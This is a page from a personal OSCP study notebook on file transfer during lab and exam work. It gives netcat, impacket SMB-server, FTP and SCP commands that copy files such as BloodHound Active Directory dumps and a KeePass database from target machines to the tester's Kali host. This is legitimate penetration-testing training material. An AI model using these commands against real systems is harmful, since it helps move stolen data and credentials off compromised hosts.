Braindump
Read BlogpostsLet's Connect
  • Introduction: My OSCP Journey
  • Writeup Index
  • OSCP Machine Writeups
    • 🔥PG - Practice
      • Shenzi
      • DVR4
      • Resourced
      • Kevin
      • Nara
      • Jacko
      • Authby
      • Access
      • Internal
      • Hutch
      • Algernon
      • HelpDesk
      • Squid
      • Hepet
      • Craft2
      • ClamAV
      • Pelican
      • Payday
      • Snookums
      • Bratarina
      • Nibbles
      • Hetemit
      • Hawat
      • Astronaut
      • Exfiltrated
      • Fanatastic
      • Wombo
      • Levram
      • LaVita
    • 💣HackTheBox
      • Devel
      • Legacy
      • Intelligence
        • Learning
      • Blackfield
        • PrivEsc - SeBackupPrivilege
      • Sauna
      • Bastard
      • Arctic
      • Forest
      • Active
      • SecNotes
      • Access
  • Preparation Notes
    • Tips and Tricks
      • File Transfer
      • Download a file - Windows CLI
      • Bypassing Firewall/Defender/UAC
      • Accessing File
      • Reverse Shell
      • OneLiner - Reverse/bind Shell
      • OneLiner - MSFVenom
    • Enumeration Techniques
      • System and Network Enumeration
      • Web Enumeration
      • Service Enum
      • CMS
    • Exploitation
      • Exploiting Web Apps
      • Exploiting Wordpress
      • Public Exploits
    • Privilege Escalation
      • Linux Privilege Escalation
        • Disk Group PrivEsc
      • Windows Privilege Escalation
    • Active Directory
      • Enumeration
      • AD Attacks
      • mimikatz
      • Lateral movement
    • Pivoting and Networking
      • SSH Port Forwarding
      • Ligolo-ng
    • Password Cracking
Powered by GitBook
On this page
  • Windows <--> Windows
  • Using SMB
  • Windows <--> Linux
  • Using NetCat
  • Using SMB Server
  • Using FTP
  • Linux <--> Linux
  • Using SCP

Was this helpful?

  1. Preparation Notes
  2. Tips and Tricks

File Transfer

Windows <--> Windows

Using SMB


# Step 1: On first machine, create a new SMB share with full access
New-SmbShare -Path 'C:\Users\offsec\exam\101\' -Name "share" -FullAccess Everyone

# on second machine
net use \\server_id

# now simply use copy command to share file accoess windows machine
copy 20240514105010_BloodHound.zip \\192.168.176.250\share2\20240514105010_BloodHound.zip

Windows <--> Linux

Using NetCat

# On Kali Machine
nc -lvp 3333 > data.zip

# And on windows side: Don't run on Powershell. 
./nc.exe 192.168.49.95 3333 < C:/Users/Tom.Davies/20240524095202_BloodHound.zip

Using SMB Server

# On kali machine
impacket-smbserver share $(pwd) -smb2support -username User -password Pass
#### on Windows machine
# use the share
net use \\\\10.2.19.86\\share /U:User Pass

# Simply copy the file into the share
xcopy .\\tools \\\\10.2.19.86\\share\\tools /S /E

copy .\\Database.kdbx \\\\192.168.45.199\\share\\Database.kdbx

Using FTP

##### In Kali Machine ####

# we'll use pyftpdlib library
pip3 install pyftpdlib

# start the ftp server
python -m pyftpdlib -p 21 --write

#### in windows Machine ####
 
# Connecting to FTP
ftp <Kali IP>

# login using anonymous creds# 
anonymous:

# uplaod file from windows cmd 
put <filename>

Linux <--> Linux

Using SCP

scp file.txt joe@192.168.123.216:

# local file to remote system
scp file.txt remote_username@10.10.10.10:/remote/directory

# Remote to local system
scp remote_username@10.10.10.10:/remote/file.txt /local/directory

# improving SCP performance using blowfish
scp -c blowfish remote_username@10.10.10.10:/remote/directory

PreviousTips and TricksNextDownload a file - Windows CLI

Last updated 3 days ago

Was this helpful?